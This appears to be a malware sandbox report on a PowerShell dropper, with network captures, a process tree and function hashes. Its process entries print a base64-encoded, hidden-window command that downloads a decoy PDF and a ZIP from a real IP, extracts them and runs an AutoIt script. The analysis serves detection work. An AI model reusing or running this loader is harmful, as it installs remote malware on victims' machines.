Nov 19, 2024 19:11:08.369275093 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:11:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 05 Nov 2024 12:35:34 GMT ETag: "101b3-62629a33cf7a5" Accept-Ranges: bytes Content-Length: 65971 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: 25 50 44 46 2d 31 2e 34 0a 25 d3 eb e9 e1 0a 31 20 30 20 6f 62 6a 0a 3c 3c 2f 54 69 74 6c 65 20 28 56 69 64 61 4d 61 72 6b 65 74 73 29 0a 2f 50 72 6f 64 75 63 65 72 20 28 53 6b 69 61 2f 50 44 46 20 6d 31 33 32 20 47 6f 6f 67 6c 65 20 44 6f 63 73 20 52 65 6e 64 65 72 65 72 29 3e 3e 0a 65 6e 64 6f 62 6a 0a 33 20 30 20 6f 62 6a 0a 3c 3c 2f 63 61 20 31 0a 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 2f 4e 20 33 0a 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 0a 2f 4c 65 6e 67 74 68 20 32 39 36 3e 3e 20 73 74 72 65 61 6d 0a 78 9c 7d 90 bd 4a c3 60 14 86 1f 6b 41 14 c5 41 87 0e 0e 19 1c 5c d4 fe 68 7f c0 a5 ad 58 5c 5b 85 56 a7 34 4d 8b d8 9f 90 a6 e8 05 e8 e6 e0 ea 26 2e de 80 e8 65 28 08 0e e2 e0 25 88 a0 b3 6f 1a 24 05 a9 e7 f0 e6 7b 78 f3 92 2f e7 40 24 86 2a 1a 87 4e d7 73 cb a5 82 51 ad 1d 18 53 ef 4c a8 87 65 5a 7d 87 f1 a5 d4 f7 4b 90 7d 5e fd 27 37 ae a6 1b 76 df d2 f9 21 79 ae 2e d7 27 1b e2 c5 56 c0 a7 3e d7 03 be f0 f9 c4 73 3c f1 [TRUNCATED] Data Ascii: %PDF-1.4%1 0 obj<</Title (VidaMarkets)/Producer (Skia/PDF m132 Google Docs Renderer)>>endobj3 0 obj<</ca 1/BM /Normal>>endobj7 0 obj<</N 3/Filter /FlateDecode/Length 296>> streamx}J`kAA\hX\[V4M&.e(%o${x/@$*NsQSLeZ}K}^'7v!y.'V>s<^(F>7V=fWtV%J-S#LQ"'IB ENPyzfISPYH)@&/C~{e61]shEH0W'9]Y?bM4?Kendstreamendobj5 0 obj<</Type /XObject/Subtype /Image/Width 800/Height 800/ColorSpace [/ICCBased 7 0 R]/SMask 6 0 R/BitsPerComponent 8/Filter /FlateDecode/Length 9987>> streamx%~G<9xrPFMs53W<U+j}$?p~C?CF{?I,X2Omf$GQ?P=LfO>I,HWG>Ibq }E"=$GW$+BL!8"A_mfO+!fOX<I_i63}W'+!fWJb}E"=V_I,HWG
Nov 19, 2024 19:11:08.369299889 CET	1236	IN	Data Raw: 2b 89 c5 63 f4 15 09 fa 8a 90 f6 68 33 d3 fb 7d 25 b1 78 80 be 22 41 5f 11 d2 1e 6d 66 fa b0 af 24 16 f7 d2 57 24 e8 2b 42 da a3 cd 4c b7 f4 95 c4 e2 2e fa 8a 04 7d 45 48 7b b4 99 e9 c6 be 92 58 dc 4e 5f 91 a0 af 08 69 8f 36 33 dd de 57 12 8b 1b Data Ascii: +ch3}%x"A_mf$W$+BL.}EH{XN_i63W+!fJbq}E"=to_I,>HWG+h3c}%x"A_mfz$oW$+BLU}EH{X\|O_i63=Wh3!}%"A_mf:$_+
Nov 19, 2024 19:11:08.369312048 CET	448	IN	Data Raw: 85 c4 3a 90 be 22 41 5f 11 d2 1e 6d 66 6a 77 cd 42 24 d6 51 f4 15 09 fa 8a 90 f6 68 33 53 3b 6a d6 22 b1 0e a1 af 48 d0 57 84 b4 47 9b 99 da 45 b3 1c 89 f5 3c 7d 45 82 be 22 a4 3d da cc d4 ce 99 15 49 ac 27 e9 2b 12 f4 15 21 ed d1 66 a6 76 cb 2c Data Ascii: :"A_mfjwB$Qh3S;j"HWGE<}E"=I'+!fv,Jb=C_i63Cf]a}EH{]1KXW$+BLYz"A_mfj$h3S;^ HWGu;}E"=H+!fvlFbB_i63e?C}EH{
Nov 19, 2024 19:11:08.369390011 CET	1236	IN	Data Raw: d2 1e 6d 66 6a 67 c8 64 97 4d 2c 7d 45 82 be 22 a4 3d da cc d4 6e 90 e1 ae 99 58 fa 8a 04 7d 45 48 7b b4 99 a9 1d 20 f3 5d 30 b1 f4 15 09 fa 8a 90 f6 68 33 53 bb 3e 2e e1 6a 89 a5 af 48 d0 57 84 b4 47 9b 99 da e9 71 15 97 4a 2c 7d 45 82 be 22 a4 Data Ascii: mfjgdM,}E"=nX}EH{ ]0h3S>.jHWGqJ,}E"=Nb+!fvt\EK_i63rX}EH{W4>h3S5.jvb+!fvh\W$+BLHWGqu#K_i63HWGq%"A_
Nov 19, 2024 19:11:08.369401932 CET	1236	IN	Data Raw: 90 f6 68 33 53 7b 45 b3 b7 57 13 4b 5f 91 a0 af 08 69 8f 36 33 b5 f7 33 db fb 3e b1 f4 15 09 fa 8a 90 f6 68 33 53 7b 39 33 c1 8b c4 d2 57 24 e8 2b 42 da a3 cd 4c ed cd cc 10 2f 12 ab 3d d7 0c a4 af 08 f9 3c 5d fe ad 90 63 7d 9e a8 f6 5a 66 8e 6f Data Ascii: h3S{EWK_i633>h3S{93W$+BL/=<]c}ZfolO7+B~WM_q%8"=^L9~/X?\A~3(?/6f!>@_?~fo)Gib,D8P{3pU@f2!pbq
Nov 19, 2024 19:11:08.369415045 CET	1236	IN	Data Raw: a7 58 5d ed 55 cc 40 fa 8a 90 f6 be 82 cd 48 ac a2 f6 2a 66 20 7d 45 48 7b 59 c1 7e 24 56 4b 7b 15 33 90 be 22 a4 bd a9 60 4b ee 62 55 b4 57 31 03 e9 2b 42 da 6b 0a 76 e5 14 eb 7c ed 55 cc 40 fa 8a 90 f6 8e 82 8d 49 ac 93 b5 57 31 03 e9 2b 42 da Data Ascii: X]U@Hf }EH{Y~$VK{3"`KbUW1+Bkv\|U@IW1+B&^io'XibWWLU@^!$!sHf }EH{#(bEW1+Bq^i"HbW1+BfXU@:\{3"`2XjbW'
Nov 19, 2024 19:11:08.369426012 CET	1236	IN	Data Raw: 7b 15 33 90 be 22 a4 fd c1 06 76 d2 4d ac f6 2a 66 20 7d 45 48 fb 6b 0d 6c a6 78 17 ab bd 8a 19 48 5f 11 d2 fe 54 03 fb 69 9d 62 b5 57 31 03 e9 2b 42 da df 69 60 4b 95 c4 6a af 62 06 d2 57 84 b4 3f d2 c0 ae ce 4f ac f6 2a 66 20 7d 45 48 fb 0b 0d Data Ascii: {3"vMf }EHklxH_TibW1+Bi`KjbW?Of }EHlXU@XU@i^iIf }EHq]f }EH>jbW(jbW?4jbW@XU@g)q^iO*f }EHL
Nov 19, 2024 19:11:08.369525909 CET	1236	IN	Data Raw: 62 ad 4f 5f 91 a0 af 00 a2 dc c5 5a 9c be 22 41 5f 01 a4 39 c5 5a 99 be 22 41 5f 01 9c 40 62 2d 4b 5f 91 a0 af 00 ce 21 b1 d6 a4 af 48 d0 57 00 a7 71 17 6b 41 fa 8a 04 7d 05 70 26 a7 58 ab d1 57 24 e8 2b 80 93 49 ac a5 e8 2b 12 f4 15 c0 f9 24 d6 Data Ascii: bO_Z"A_9Z"A_@b-K_!HWqkA}p&XW$+I+$:]E+@S+@W$+.HWub+b+"$V"A_CbO_.`5NHWXW$+5Is+:"A_)V"A_,NbE+$V"
Nov 19, 2024 19:11:08.369651079 CET	552	IN	Data Raw: d0 57 00 4c 72 6f 62 e9 2b 12 f4 15 00 c3 dc 75 17 4b 5f 91 a0 af 00 98 e7 f6 53 2c 7d 45 82 be 02 60 a4 1b 13 4b 5f 91 a0 af 00 98 ea 96 c4 d2 57 24 e8 2b 00 06 fb f0 2e 96 be 22 41 5f 01 30 db fb a7 58 fa 8a 04 7d 05 c0 78 ef 24 96 be 22 41 5f Data Ascii: WLrob+uK_S,}E`K_W$+."A_0X}x$"A_po%"A_p&"A_p'"A_p)/K_o=po_fq(XW?=9~/=P#i64I,se$jO4,Abq8$Gi2,
Nov 19, 2024 19:11:08.369663954 CET	1236	IN	Data Raw: 2e 89 35 55 7b b2 00 e0 d2 24 d6 48 ed b1 02 80 ab 93 58 f3 b4 67 0a 00 90 58 d3 b4 07 0a 00 f8 83 c4 9a a4 3d 4d 00 c0 5f 24 d6 18 ed 51 02 00 fe 26 b1 66 68 cf 11 00 f0 0f 12 6b 80 f6 10 01 00 2f 49 ac dd b5 27 08 00 78 85 c4 da 5a 7b 7c 00 80 Data Ascii: .5U{$HXgX=M_$Q&fhk/I'xZ{\|I}gxT{pHN{dIH{X[I]'B{LHgZ\{@GHxZV{4I5xZP{(gI'8ZJ{cHug8ZD{#I
Nov 19, 2024 19:11:08.374861002 CET	1236	IN	Data Raw: 08 00 b0 99 0f 13 ab fd 07 02 00 ec e7 fd c4 6a ff 75 00 00 5b 7a 27 b1 da 7f 1a 00 c0 ae de 4a ac f6 df 05 00 b0 b1 57 13 ab fd 47 01 00 ec ed fb c4 6a ff 45 00 00 db 7b 91 58 ed 3f 07 00 60 82 6f 13 eb ff 01 30 17 ce 78 0a 65 6e 64 73 74 72 65 Data Ascii: ju[z'JWGjE{X?`o0xendstreamendobj6 0 obj<</Type /XObject/Subtype /Image/Width 800/Height 800/ColorSpace /DeviceGray/BitsPerComponent 8/Filter /FlateDecode/Length 5200>> stream
Nov 19, 2024 19:11:08.905462027 CET	143	OUT	GET /kghtyed.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 2.58.56.243
Nov 19, 2024 19:11:09.110213041 CET	434	IN	HTTP/1.1 404 Not Found Date: Tue, 19 Nov 2024 18:11:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 2e 35 38 2e 35 36 2e 32 34 33 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 2.58.56.243 Port 80</address></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49722	96.17.64.171	443	7204	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:11:24 UTC	475	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br If-None-Match: "78-5faa31cce96da" If-Modified-Since: Mon, 01 May 2023 15:02:33 GMT
2024-11-19 18:11:24 UTC	198	IN	HTTP/1.1 304 Not Modified Content-Type: text/plain; charset=UTF-8 Last-Modified: Mon, 01 May 2023 15:02:33 GMT ETag: "78-5faa31cce96da" Date: Tue, 19 Nov 2024 18:11:24 GMT Connection: close

Target ID:	0
Start time:	13:11:03
Start date:	19/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) \| Invoke-Expression"
Imagebase:	0x7ff653a30000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:11:03
Start date:	19/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:11:04
Start date:	19/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JGFwcGRhdGE9W1N5c3RlbS5FbnZpcm9ubWVudF06OkdldEZvbGRlclBhdGgoJ0FwcGxpY2F0aW9uRGF0YScpDQpJbnZva2UtV2ViUmVxdWVzdCAnaHR0cDovLzIuNTguNTYuMjQzL3ZtYXBpLnBkZicgLU91dEZpbGUgIiRhcHBkYXRhXHZtYXBpLnBkZiI7IFN0YXJ0LVByb2Nlc3MgIiRhcHBkYXRhXHZtYXBpLnBkZiINCiMgUE9SVFVHQUwNCkludm9rZS1XZWJSZXF1ZXN0ICdodHRwOi8vMi41OC41Ni4yNDMva2dodHllZC56aXAnIC1PdXRGaWxlICIkYXBwZGF0YVxrZ2h0eWVkLnppcCINCiMgUE9SVFVHQUwgRlJBTkNFDQpBZGQtVHlwZSAtQXNzZW1ibHlOYW1lIFN5c3RlbS5JTy5Db21wcmVzc2lvbi5GaWxlU3lzdGVtDQpbU3lzdGVtLklPLkNvbXByZXNzaW9uLlppcEZpbGVdOjpFeHRyYWN0VG9EaXJlY3RvcnkoIiRhcHBkYXRhXGtnaHR5ZWQuemlwIiwgJGFwcGRhdGEpDQpTdGFydC1Qcm9jZXNzICIkYXBwZGF0YVxBdXRvSXQzLmV4ZSIgIiRhcHBkYXRhXHNjcmlwdC5hM3giDQojIFBPUlRVR0FMIEJSQUJVUw0K')) \| Invoke-Expression"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:11:07
Start date:	19/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\vmapi.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:11:09
Start date:	19/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:11:09
Start date:	19/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	13:11:09
Start date:	19/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1636,i,14726364720593086116,8068098665714155558,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FFB4B12BB93 Relevance: 3.0, Strings: 2, Instructions: 531COMMON

Download Yara Rule

Strings

hGK, xrefs: 00007FFB4B12BF68
GK, xrefs: 00007FFB4B12BE19

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID: hGK$GK
API String ID: 0-2046038617
Opcode ID: 53ee6ec32804e3701c92b4640c3fc7b01deb818e0942e1185f54cca3ca1d72eb
Instruction ID: b986e7696264a4d9786ccba1773ddda2e505605daa71cf56924bce131343da14
Opcode Fuzzy Hash: 53ee6ec32804e3701c92b4640c3fc7b01deb818e0942e1185f54cca3ca1d72eb
Instruction Fuzzy Hash: 0402E571A1CA4D8FDB89EF2CC495EE97BE1FF68304F144169D449D72A6CA34E842CB81

Function 00007FFB4B1F7812 Relevance: .6, Instructions: 584COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1579242864.00007FFB4B1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67ccbf8e37e4eaff4c843321634b2f94f6b5c56a5cac57de41b3bafb48050a37
Instruction ID: 7b5b3cbf1459249326c641f10c9eb8a2e11f8dbaeffca8c6e313942dee3e8f17
Opcode Fuzzy Hash: 67ccbf8e37e4eaff4c843321634b2f94f6b5c56a5cac57de41b3bafb48050a37
Instruction Fuzzy Hash: D90279B2A1DA894FE756AF38C8155B57BE1EF46314F0841FED54CC30A3EA18AC05C781

Function 00007FFB4B1F38D5 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1579242864.00007FFB4B1F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B1F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b1f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4362103b511423550e8f9d17bf8c75a305ec76b5810803ba5125d1531a0ab218
Instruction ID: a3b81c41013f74db9b8e6fa9331d718dab00720772f89ceee2e7a8015ab91770
Opcode Fuzzy Hash: 4362103b511423550e8f9d17bf8c75a305ec76b5810803ba5125d1531a0ab218
Instruction Fuzzy Hash: EFD155B292EA8A4FE7A6AF78D8651B5BFD0FF16314B0801FAD54CC70A3D9189C05C791

Function 00007FFB4B129C75 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77a57bbd76ea2713c332eefbd7785b24f4462869fb3a00f805cc96afb3660107
Instruction ID: 3d007b7cd6b4b156394f3f208d2bd9c41d972661c59e5c7a29c7421515a11317
Opcode Fuzzy Hash: 77a57bbd76ea2713c332eefbd7785b24f4462869fb3a00f805cc96afb3660107
Instruction Fuzzy Hash: 49718D7090DA4C8FDBA9EF68D855BE9BBB4EF55304F0081EAC04DD7292DE346985CB41

Function 00007FFB4B12A498 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24b8433e0e8e1b5bf8c5e58a6d81a4223edba30e0594c4ee37c8ffb888baac9e
Instruction ID: 29e5f40db31ac979c6ea63f5f2e3007b8fe74a7240a17f5688b76a7804108bf5
Opcode Fuzzy Hash: 24b8433e0e8e1b5bf8c5e58a6d81a4223edba30e0594c4ee37c8ffb888baac9e
Instruction Fuzzy Hash: 07516E71918A4C8FEF98EF68D849BEDBBF1EB55314F1081ABD00DD7252DA309846CB81

Function 00007FFB4B12DD42 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0428e970674d538fb986b6611735f219450fbe6c4846bcfc1be9ed215b99feb0
Instruction ID: e6c03ae17160067bad16104cdd6609238d8ad32373dae7f64c6909fa7eab201f
Opcode Fuzzy Hash: 0428e970674d538fb986b6611735f219450fbe6c4846bcfc1be9ed215b99feb0
Instruction Fuzzy Hash: AB41C2B1A0D7C94FE71BAB7898162A93FA1EF47214F0901FBD48AC71E3D9196807C752

Function 00007FFB4B12DD56 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e511df2b0f4149905e288c9ff05de62aaa24d7e2e3bfb198beeabdd71f53057b
Instruction ID: 40593c3f69e95d542ee84d1e3370076f8446bd1e2f4eae4b7e55f954caf22c99
Opcode Fuzzy Hash: e511df2b0f4149905e288c9ff05de62aaa24d7e2e3bfb198beeabdd71f53057b
Instruction Fuzzy Hash: 0F0152B2B1CA1C0BE75CAD5CB8071B973D2E789625F04427FE58ED32E2DE2668134587

Function 00007FFB4B12DD67 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00526f453ee8c8f7b6ca4ef818e14e05b34c82698fd2a205693191eacbb7ac2c
Instruction ID: c063db426b884ad9002b5a70e3f954adb0aab52db5bf2aadceaa5e358177ab44
Opcode Fuzzy Hash: 00526f453ee8c8f7b6ca4ef818e14e05b34c82698fd2a205693191eacbb7ac2c
Instruction Fuzzy Hash: 030192B2B1CA1C0BA75C9D5CA8031B973C2E789624F00427FE18ED32D2DE2668034586

Function 00007FFB4B1237B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: f44f6b23f2672f4a1dfc496ccb342e9ff678e37c3049721b96034049e786b662
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 3501677111CB0D8FDB48EF0CE451AA6B7E0FB95364F10056DE58AC3661D636E882CB46

Non-executed Functions

Function 00007FFB4B128EB0 Relevance: 17.9, Strings: 14, Instructions: 426COMMON

Download Yara Rule

Strings

X2HK, xrefs: 00007FFB4B1290E1
8/HK, xrefs: 00007FFB4B128F51
80HK, xrefs: 00007FFB4B128FD1
81HK, xrefs: 00007FFB4B129051
x1HK, xrefs: 00007FFB4B129071
X1HK, xrefs: 00007FFB4B129061
82HK, xrefs: 00007FFB4B1290D1
X0HK, xrefs: 00007FFB4B128FE1
X4HK, xrefs: 00007FFB4B1291E1
83HK, xrefs: 00007FFB4B129151
84HK, xrefs: 00007FFB4B1291D1
x3HK, xrefs: 00007FFB4B129171
X.HK, xrefs: 00007FFB4B128EE1
X3HK, xrefs: 00007FFB4B129161

Memory Dump Source

Source File: 00000003.00000002.1578767423.00007FFB4B120000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B120000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffb4b120000_powershell.jbxd

Similarity

API ID:
String ID: 8/HK$80HK$81HK$82HK$83HK$84HK$X.HK$X0HK$X1HK$X2HK$X3HK$X4HK$x1HK$x3HK
API String ID: 0-4064487367
Opcode ID: e8df5a04002014215c56b2295050c9f8961a01187b1252dd7d8594ff85e2e73e
Instruction ID: 32097516226e8ef545ba88e334ae3955950979db7354c69eba448d13d2802c3a
Opcode Fuzzy Hash: e8df5a04002014215c56b2295050c9f8961a01187b1252dd7d8594ff85e2e73e
Instruction Fuzzy Hash: C2D104C291EAC51FF3695BBCAA091247FD2EF2269470881FBD2D4570FBD8499A05C783

Function 00007FFB4B12787E Relevance: 24.2, Strings: 19, Instructions: 411COMMON

Download Yara Rule

Strings

8WHK, xrefs: 00007FFB4B127AD9
8bHK, xrefs: 00007FFB4B127941
xbHK, xrefs: 00007FFB4B127961
XWHK, xrefs: 00007FFB4B127AE9
XbHK, xrefs: 00007FFB4B127951
8XHK, xrefs: 00007FFB4B127B59
8aHK, xrefs: 00007FFB4B1278C1
XcHK, xrefs: 00007FFB4B1279D1
8cHK, xrefs: 00007FFB4B1279C1
XdHK, xrefs: 00007FFB4B127A51
xVHK, xrefs: 00007FFB4B127A79
8dHK, xrefs: 00007FFB4B127A41
XVHK, xrefs: 00007FFB4B127A69
XaHK, xrefs: 00007FFB4B1278D1
xcHK, xrefs: 00007FFB4B1279E1
XXHK, xrefs: 00007FFB4B127B69
xaHK, xrefs: 00007FFB4B1278E1
xWHK, xrefs: 00007FFB4B127AF9
